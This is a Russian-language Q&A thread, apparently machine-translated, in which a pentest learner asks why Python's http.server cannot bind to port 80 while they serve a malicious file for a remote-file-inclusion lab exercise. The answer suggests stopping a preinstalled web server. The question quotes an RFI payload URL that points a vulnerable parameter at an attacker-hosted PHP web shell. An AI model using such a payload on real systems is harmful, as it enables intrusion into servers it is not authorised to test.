python модуль http.server не работает через порт 80 в упражнении «Удаленное включение файлов» - PullRequest
0 голосов
/ 28 марта 2020

Я выполняю тестирование пентестера и работаю на одной машине, которая требует получения доступа через уязвимость удаленного включения файлов. Раньше мне удавалось получить веб-оболочку, включив в мой компьютер вредоносный файл. Я сделал это, используя модули python http.server (sudo python3 -m http.server 80), и это работало абсолютно нормально. Однако после первого успешного выполнения этой попытки я попытался снова запустить эту команду, и каждый раз, когда я это делаю, я получаю следующую ошибку:

File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.7/http/server.py", line 1262, in <module>
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File "/usr/lib/python3.7/http/server.py", line 1230, in test
with ServerClass(server_address, HandlerClass) as httpd:
File "/usr/lib/python3.7/socketserver.py", line 452, in __init__
self.server_bind()
File "/usr/lib/python3.7/http/server.py", line 137, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.7/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

Этот кажется говорящим Мне кажется, что что-то уже использует порт 80, однако, когда я закрываю веб-браузеры, проверяю с помощью lsof -i: 80, даже перезагружаю мою машину, она все равно никогда не работает. Я также попытался включить файл через другой порт (http://VICTIMIP/path/to/file.php?vuln_param=http: // MYIP: 4444 / path / to / evil / file. php), но это не работает. Кто-нибудь может дать совет о том, как двигаться вперед? Или почему http-сервер не будет работать на 80-м порту или почему RFI будет работать только через 80-й порт? Я не могу думать ни о чем другом, что я могу попробовать в этот момент.

1 Ответ

0 голосов
/ 31 марта 2020

Полагаю, вы используете Кали Linux или что-то в этом роде. Он содержит предварительно установленный apache / nginx, поэтому попробуйте выполнить следующие действия перед использованием python http-сервера:

systemctl stop nginx
systemctl stop apache

(требуется root)

Порт явно используется, поэтому он может справка, если установлена ​​nginx или apache.

...